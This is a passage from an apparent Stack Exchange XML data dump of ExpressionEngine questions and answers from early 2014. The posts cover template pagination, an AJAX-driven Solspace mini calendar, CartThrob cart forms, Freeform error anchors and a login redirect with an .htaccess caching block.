{embed=&quot;includes/.nav-main-subcategory&quot;}{embed=&quot;furniture/.subcategory&quot;}&#xA;            {/case}&#xA;            {!-- /Subcategory view --}&#xA;&#xA;            {!-- Single product view --}        &#xA;            {case default=&quot;Yes&quot;}&#xA;                {embed=&quot;includes/.nav-main&quot;}{product}&#xA;            {/case}&#xA;            {!-- /Single product view --}&#xA;&#xA;        {/exp:switchee}&#xA;    {/if}&#xA;&#xA;{embed=&quot;includes/.footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and subcategory snippet code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container category&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;row row-category&quot;&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_2_category_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;4&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;&#xA;        {if no_results}&#xA;                &amp;lt;div class=&quot;&quot;&amp;gt;&amp;lt;p&amp;gt;No entries yet.&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            &amp;lt;div class=&quot;col-md-3 col-sm-6 category-item&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{site_url}{segment_1}/{segment_2}/{url_title}&quot;&amp;gt;&#xA;        {product_image limit=&quot;1&quot;}&#xA;                &amp;lt;img src=&quot;{product_image:image}&quot; alt=&quot;{product_image:title}&quot; class=&quot;img-responsive&quot;&amp;gt;&#xA;        {/product_image}    &#xA;                &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;    {switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row row-category&quot;&amp;gt;'}&#xA;&#xA;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;   &amp;lt;/div&amp;gt;&amp;lt;!--/row--&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/container--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First page is OK but other pages comes blank. I think I have done something wrong within index or template structure for furniture group but no clue what can be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-01-28T19:18:05.707" LastActivityDate="2014-01-28T19:18:05.707" Title="Pagination links not working" Tags="|pagination|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18802" PostTypeId="2" ParentId="18391" CreationDate="2014-01-27T23:02:19.440" Score="0" Body="&lt;p&gt;one of the support engineers has taken a look at this but cannot replicate your issue with our test install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have not already, can you update Cartthrob to the latest version and if you still have the issue, please schedule a support call at &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-01-27T23:02:19.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18804" PostTypeId="1" CreationDate="2014-01-27T23:12:23.853" Score="1" ViewCount="342" Body="&lt;p&gt;EE 2.7.2&lt;br&gt;&#xA;Solspace Calendar 1.8.5  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running into troubles getting the calendar to change months.  I'm not well versed in jQuery so I'm using the tutorial &lt;a href=&quot;http://allthatbuzz.com/post/20349376310/ajax-jquery-solspace-mini-calendar&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt;. The calendar is showing up perfectly on the wrapper template, but when clicking the calendar navigation arrows, nothing happens.  Here are my templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mini Calendar Template:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;if (isset ($_POST ['month'])):&#xA;    $month = $_POST [ 'month'];&#xA;    $year = $_POST ['year'];&#xA;else:&#xA;    $month = date('m');&#xA;    $year = date('Y');&#xA;endif;&#xA;?&amp;gt;&#xA;&#xA;{exp:calendar:cal&#xA;    date_range_start=&quot;&amp;lt;?php echo $year; ?&amp;gt;-&amp;lt;?php echo $month; ?&amp;gt;-01&quot;&#xA;    date_range_end=&quot;&amp;lt;?php echo $year; ?&amp;gt;-&amp;lt;?php echo $month; ?&amp;gt;-last&quot;&#xA;}&#xA;    {display_each_month}&#xA;        &amp;lt;table class=&quot;Calendar&quot;&amp;gt;&#xA;            &amp;lt;thead class=&quot;Calendar-header&quot;&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th colspan=&quot;1&quot; class=&quot;Calendar-nav&quot;&amp;gt;&#xA;                        &amp;lt;a&#xA;                            id=&quot;mc_prev_month&quot;&#xA;                            class=&quot;icon left&quot;&#xA;                            href=&quot;#&quot; alt=&quot;{prev_month format=&quot;%m&quot;}&quot; title=&quot;{prev_month format=&quot;%Y&quot;}&quot;&amp;gt;&amp;amp;larr;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;Calendar-month&quot; colspan=&quot;5&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;{path='calendar/month'}/{month format=&quot;%Y/%m/%d&quot;}&quot;&amp;gt;&#xA;                            {date format=&quot;%F %Y&quot;}&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th colspan=&quot;1&quot; class=&quot;Calendar-nav&quot;&amp;gt;&#xA;                        &amp;lt;a&#xA;                            id=&quot;mc_next_month&quot;&#xA;                            class=&quot;icon right&quot;&#xA;                            href=&quot;#&quot; alt=&quot;{next_month format=&quot;%m&quot;}&quot; title=&quot;{next_month format=&quot;%Y&quot;}&quot;&amp;gt;&#xA;                            &amp;amp;rarr;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr id=&quot;mc_days&quot;&amp;gt;&#xA;                {display_each_day_of_week}&#xA;                    &amp;lt;th class=&quot;{if day_of_week_is_weekend}weekend{/if} {if day_of_week_is_current}current{/if}&quot;&amp;gt;&#xA;                        {day_of_week_one}&#xA;                    &amp;lt;/th&amp;gt;&#xA;                {/display_each_day_of_week}&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                {display_each_week}&#xA;                &amp;lt;tr&amp;gt;&#xA;                    {display_each_day}&#xA;                    &amp;lt;td cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;Calendar-date&#xA;                        {if day_in_current_month == FALSE}Calendar-date--mute{/if}&#xA;                        {if day_event_total &amp;gt; 0}Calendar-date--hasEvents{/if}&#xA;                        {if count == 7}Calendar-date--selected{/if}&#xA;                        {if day_is_today}Calendar-date--today{/if}&#xA;                        {if day_is_weekend}Calendar-date--weekend{/if}&#xA;                        {if day_is_weekday}Calendar-date--weekday{/if}&#xA;                    &quot;&amp;gt;&#xA;                         {if day_in_current_month}&#xA;                            {if day_event_total}&amp;lt;a href=&quot;{path='calendar/day'}/{date format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;{/if}&#xA;                                {day}&#xA;                            {if day_event_total}&amp;lt;/a&amp;gt;{/if}&#xA;                        {if:else}&#xA;                            &amp;lt;strong class=&quot;middot&quot;&amp;gt;&amp;amp;middot;&amp;lt;/strong&amp;gt;&#xA;                        {/if}&#xA;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    {/display_each_day}&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/display_each_week}&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    {/display_each_month}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrapper template:&lt;/strong&gt;&lt;br&gt;&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;drop2&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    $(document).ready(function(){&#xA;        var month = &quot;&amp;lt;?php echo $month; ?&amp;gt;&quot;;&#xA;        var year = &quot;&amp;lt;?php echo $year; ?&amp;gt;&quot;;&#xA;&#xA;        render_calendar(month,year);&#xA;&#xA;        function render_calendar(month,year) {&#xA;            $.post(&#xA;                &quot;[site url removed]/inc/mini-calendar&quot;,&#xA;                { month : month, year : year},&#xA;                function(str) {&#xA;                    $('#drop2').html(str).fadeIn();&#xA;                }&#xA;            );&#xA;        }&#xA;&#xA;        $(&quot;.Calendar-nav a&quot;).click(function() {&#xA;            $('.Calendar').fadeOut('fast');&#xA;            month = $(this).attr('alt');&#xA;            year = $(this).attr('title');&#xA;            render_calendar(month, year);&#xA;        });&#xA;&#xA;    })&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;You'll notice I've switched to GET instead of POST because of errors with XID hash (or at least that's what I think is going on).&lt;/del&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's something really simple here, but I can't put my finger on it.&lt;/p&gt;&#xA;" OwnerUserId="1152" LastEditorUserId="1152" LastEditDate="2014-01-31T15:17:18.587" LastActivityDate="2014-01-31T15:17:18.587" Title="Navigating through months with AJAX and Solspace Mini Calendar" Tags="|solspace|ajax|calendar|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18806" PostTypeId="2" ParentId="18677" CreationDate="2014-01-27T23:24:01.420" Score="2" Body="&lt;p&gt;You'll need to use the multi_add_to_cart_form. Assuming that the price modifier for your colors is called &quot;product_color&quot; your form would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;    {exp:cartthrob:multi_add_to_cart_form return=&quot;TEMPLATE_GROUP/TEMPLATE&quot;}     &#xA;           Product name: {title} Price: {product_price}&amp;lt;br /&amp;gt;&#xA;           {product_color}&#xA;               {option_name}: &amp;lt;input type=&quot;text&quot; name=&quot;quantity[{count}]&quot; value=&quot;0&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;               &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{count}]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;               &amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[{count}][product_color]&quot; value=&quot;{option_value}&quot; /&amp;gt;&#xA;           {/product_color}&#xA;           &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:cartthrob:multi_add_to_cart_form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you a form with your color options printed out with corresponding quantity fields.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-01-27T23:24:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18807" PostTypeId="2" ParentId="18788" CreationDate="2014-01-27T23:34:04.717" Score="1" Body="&lt;p&gt;I found the answer to my question in the Expression Engine documentation - basement level:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While you can still use Simple Commerce generated PayPal links to sell items to users browsing your site as guests, the Instant Payment Notification features, such as transaction recording and &lt;strong&gt;email notifications&lt;/strong&gt;, will only work for purchases made by logged-in members of your site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the system is not broken, it just has limitations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-27T23:34:04.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18809" PostTypeId="2" ParentId="18778" CreationDate="2014-01-27T23:51:40.557" Score="1" Body="&lt;p&gt;Your layout may have to change because EE doesn't yet know if the title is inside the category. If you can transfer the conditional inside the entry_titles you may have better luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entry_titles}&#xA;{if segment_x == {url_title}}do something{/if}&#xA;{/entry_titles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE category stuff can be a pita and I've often used gwCode categories. You do get more flexibility and control but its a case by case thing.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-27T23:51:40.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18812" PostTypeId="1" CreationDate="2014-01-28T03:20:22.800" Score="2" ViewCount="203" Body="&lt;p&gt;I'm using EE 2.7.2, and just updated to CT2.5. After the update, the cart no longer populates product data inside the &lt;code&gt;{exp:cartthrob:cart_items_info}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I add an item using &lt;code&gt;{exp:cartthrob:add_to_cart entry_id=&quot;{segment_3}&quot; quantity=&quot;1&quot; return=&quot;cart/index&quot;}&lt;/code&gt;, as I have always done, I'm redirected to the cart, where I see a new line item, the title is blank, and item_price, item_subtotal and cart_subtotal dollar amounts all return $0.00. If I add the same item again, the quantity updates, but the title is still missing as are the dollar amounts; similarly, if I add a different item the cart shows a new line item, but all the same data is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be great.&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2014-02-02T16:26:12.500" Title="After upgrading to CartThrob 2.5, cart_items_info no longer working" Tags="|cartthrob|checkout|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18813" PostTypeId="2" ParentId="18801" CreationDate="2014-01-28T03:28:44.867" Score="1" Body="&lt;p&gt;It seems likely that the conditional that you're using to insert your &quot;subcategory&quot; is getting tripped up by the presence of the segments that pagination would automatically create - segment 3 for example might be blank on your index view, but once you paginate, it's likely occupied, and as such, the terms of your condition can't be met and therefore your listing embed isn't being inserted at all.  You may have an easier time with it if you use the excellent &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; add-on which could parse your conditionals earlier using switch case and allow you to detect pagination segments using regex (see the example on the devot-ee page for details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to Derek's point - if you don't need an embed - which you would only need if you have a need to either pass a variable (which you're not doing, based on your code), or work around native parse order  - you likely could do the same thing with snippets instead and save on performance.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-28T03:28:44.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18814" PostTypeId="1" CreationDate="2014-01-28T04:15:03.047" Score="2" ViewCount="105" Body="&lt;p&gt;We need to be able to accommodate payments by checks for our commercial customers, and have found that changing the status of orders placed through the Pay by Check gateway does not trigger normal events, such as updating inventory counts or logging items in the Purchased Items channel (both of which, by the way, work for normal credit card processing through Stripe). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, on the Orders settings pane, both the Order Status and Purchased Items Channel sections are configured to use the same statuses for &lt;strong&gt;Payment authorized/complete&lt;/strong&gt; (Paid) and &lt;strong&gt;Payment being processed&lt;/strong&gt; (Awaiting Payment). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, on the Payments settings pane, the Pay By Check gateway &lt;strong&gt;When order is taken, set processing status to&lt;/strong&gt; option is set to &quot;Processing&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, once an order is placed on the front-end of the site, the order appears in the Orders channel with the status of Awaiting Payment. If I update the status to Paid, the order does trigger any of the actions that it should as a completed order. I've tried updating the status directly in the Orders channel as well as in the Ecommerce Orders Manager. Neither work. Also, I've tried using the &lt;code&gt;force_processing=&quot;yes&quot;&lt;/code&gt; parameter on the checkout form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2014-01-31T05:00:06.993" Title="Changing status of Payment by Check orders does not properly trigger events" Tags="|cartthrob|status|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18816" PostTypeId="2" ParentId="18756" CreationDate="2014-01-28T07:22:13.817" Score="1" Body="&lt;p&gt;You could use the in-built 'sticky' option for an entry. All your sticky entries will appear first, regardless of your other orderby parameter values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on the EE docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish.html#make-entry-sticky&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/content/publish.html#make-entry-sticky&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-28T07:22:13.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18817" PostTypeId="1" AcceptedAnswerId="18823" CreationDate="2014-01-28T07:31:01.303" Score="0" ViewCount="217" Body="&lt;p&gt;I have a contact form set up with Freeform and when having inline errors, I would like to return to an anchor on the page, since my form is on the bottom of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting inline_error_return=&quot;#contact-form&quot;, but it doesn't even add the hash to the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help me out.&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2014-01-28T13:42:12.967" Title="Solspace Freeform: return to anchor in page when having inline errors" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18818" PostTypeId="2" ParentId="18783" CreationDate="2014-01-28T09:01:29.677" Score="3" Body="&lt;p&gt;The shortcut tags provide a quick and easy way to add the field to the page but by default this will output as an input field. You do however have full control over the HTML elements and an output any form component you wish to use by simply ensuring the &lt;code&gt;name&lt;/code&gt; attribute matches the name of the field. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group {if error:order_custom2}error{/if}&quot;&amp;gt;&#xA;  &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom2&quot;&amp;gt;Newsletter&amp;lt;/label&amp;gt;&#xA;  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;select name=&quot;order_custom2&quot; id=&quot;order_custom2&quot; &amp;gt;&#xA;      &amp;lt;option value=&quot;yes&quot;&amp;gt;Subscribe&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;no&quot;&amp;gt;Don't Subscribe&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    {error:order_custom2}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will output a select box with whatever options you wish to provide. The &lt;code&gt;name&lt;/code&gt; attribute ensures the selected value will be saved to &lt;code&gt;order_custom2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-01-28T09:01:29.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18819" PostTypeId="1" AcceptedAnswerId="18856" CreationDate="2014-01-28T11:34:44.550" Score="1" ViewCount="118" Body="&lt;p&gt;I'm having a hard time understanding the documentation and outputting price modifiers as radio buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to build a make shift gift card thing since store doesn't support that yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want radio buttons for the fixed amounts, and then a custom text field for any custom amount. I need it to be output as radio buttons and a text field. As long as it affects the price in the cart, the rest will be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been trying with the examples fmor the docs, but even the select list is giving me trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2015-03-23T15:51:44.047" Title="Ouput modifier tags (price) as radio buttons" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18820" PostTypeId="1" CreationDate="2014-01-28T11:36:16.787" Score="2" ViewCount="100" Body="&lt;p&gt;I'm using Channel Form (formerly Safecracker) to generate a new entry using inline error handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I'm having is if there is a reserved (HTML) character in any of the fields - eg &lt;code&gt;'&lt;/code&gt; - these are returned as html characters/entities - eg &lt;code&gt;&amp;amp;#39&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZC8zJ.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to suppress this conversion during the form submission process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastEditorUserId="7705" LastEditDate="2019-01-03T15:13:16.917" LastActivityDate="2019-01-03T15:13:16.917" Title="Channel Form (Safecracker) title query" Tags="|safecracker|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18821" PostTypeId="2" ParentId="18820" CreationDate="2014-01-28T12:07:48.513" Score="2" Body="&lt;p&gt;Set the fields to type = none in the CP. I think by default they're XHTML.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-28T12:07:48.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18822" PostTypeId="1" AcceptedAnswerId="18825" CreationDate="2014-01-28T12:19:54.473" Score="0" ViewCount="46" Body="&lt;p&gt;Need to take the final url segment which is in the form of &lt;strong&gt;group/index/1030&lt;/strong&gt; and format it to be &lt;strong&gt;10.30&lt;/strong&gt; to signify a time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of a plugin? The only ones I've found format it as a price and assume it to be 1,030 or suchlike.&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-01-28T14:57:40.270" Title="Plugin to format url_segment as a decimal" Tags="|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18823" PostTypeId="2" ParentId="18817" CreationDate="2014-01-28T13:42:12.967" Score="2" Body="&lt;p&gt;I think inline_error_return is the way to go, but maybe you need a complete url there, not just the anchor. In a recent site I did, I have inline_error_return=&quot;{page_url}/#job-apply-form&quot; which works. &lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2014-01-28T13:42:12.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18824" PostTypeId="1" CreationDate="2014-01-28T14:10:04.323" Score="0" ViewCount="241" Body="&lt;p&gt;I just want to confirm that, if I have a form with two email fields (email and email2) and am using the user_email_field.  An email can only be sent to one user (email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form with the following fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;name1&#xA;email&#xA;name2&#xA;email2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both names and emails are filled in, I would like both email addresses to receive confirmation emails.  I don't believe this is possible without using php.  Though I'm hoping I am wrong and that using Freeform parameters this is possible.&#xA;Any chance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-01-28T16:02:39.777" Title="Solspace Freeform: cannot send email notification to multiple dynamic emails" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18825" PostTypeId="2" ParentId="18822" CreationDate="2014-01-28T14:49:30.420" Score="3" Body="&lt;p&gt;ExpressionEngine have a variable {last_segment} to get the last segment of URL. You can use any Math plugin like &quot;Simple Math&quot; (&lt;a href=&quot;http://devot-ee.com/add-ons/simple-math&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/simple-math&lt;/a&gt;) and divide that last segment by 100.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:simple_math calculate=&quot;{last_segment} / 100&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, try by using PHPStringFun (&lt;a href=&quot;http://engaging.net/products/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;http://engaging.net/products/phpstringfun&lt;/a&gt;) to format the number.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2014-01-28T14:57:40.270" LastActivityDate="2014-01-28T14:57:40.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18826" PostTypeId="1" CreationDate="2014-01-28T16:02:23.997" Score="0" ViewCount="218" Body="&lt;p&gt;All of a sudden  my search and member login forms always redirect to the home page rather than the redirect url or search results?  Any advice what's up? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;courses/online/55&quot;}&#xA;&#xA;&amp;lt;input name=&quot;username&quot; class=&quot;form-login&quot; title=&quot;Username&quot; value=&quot;&quot; size=&quot;30&quot; maxlength=&quot;2048&quot; id=&quot;username&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;login-box-name&quot;&amp;gt;Password:&amp;lt;/div&amp;gt;&amp;lt;div id=&quot;login-box-field&quot;&amp;gt;&amp;lt;input name=&quot;password&quot; type=&quot;password&quot; class=&quot;form-login&quot; title=&quot;Password&quot; value=&quot;&quot; size=&quot;30&quot; maxlength=&quot;2048&quot; id=&quot;password&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;span class=&quot;login-box-options&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;1&quot; value=&quot;1&quot;&amp;gt; Remember Me &amp;lt;a href=&quot;{path=login/forgot_password}&quot; style=&quot;margin-left:30px;&quot;&amp;gt;Forgot password?&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;image&quot; name=&quot;submit&quot; value=&quot;Submit&quot; src=&quot;/images/login-btn.png&quot;  style=&quot;margin-left:90px;&quot; /&amp;gt;&#xA;{/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Content of the htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##Solspace Static Page Caching: Site #1##&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;## RULE #1 - gzip&#xA;&#xA;    ## Accepts GZ output&#xA;    RewriteCond %{HTTP:Accept-Encoding} gzip&#xA;&#xA;    ## Ignore POST requests&#xA;    RewriteCond %{REQUEST_METHOD} !=POST&#xA;&#xA;    ## Ignore EE Query requests&#xA;    RewriteCond %{QUERY_STRING} !^(css|ACT)&#xA;&#xA;    ## Override Cookie That Disables Caching&#xA;    RewriteCond %{HTTP:Cookie} !^.*(static_page_caching_override).*$&#xA;&#xA;    ## Override Segment for ToolBar&#xA;    RewriteCond $1 !spc_override/*$&#xA;&#xA;    ## Remove the index.php from the next conditional check, neutralize slashes&#xA;    RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;    ## Cache File Exists?&#xA;    RewriteCond /home/hookingr/public_html/static_page_caching/1/$2/index.html.gz -f&#xA;&#xA;    ## Redirect to Cache File&#xA;    RewriteRule ^(index.php/*)*(.*)(/*) /static_page_caching/1/$2/index.html.gz [L]&#xA;&#xA;## RULE #2 - normal&#xA;&#xA;    ## Ignore POST requests&#xA;    RewriteCond %{REQUEST_METHOD} !=POST&#xA;&#xA;    ## Ignore EE Query requests&#xA;    RewriteCond %{QUERY_STRING} !^(css|ACT)&#xA;&#xA;    ## Override Cookie That Disables Caching&#xA;    RewriteCond %{HTTP:Cookie} !^.*(static_page_caching_override).*$&#xA;&#xA;    ## Override Segment for ToolBar&#xA;    RewriteCond $1 !spc_override/*$&#xA;&#xA;    ## Remove the index.php from the next conditional check, neutralize slashes&#xA;    RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;    ## Cache File 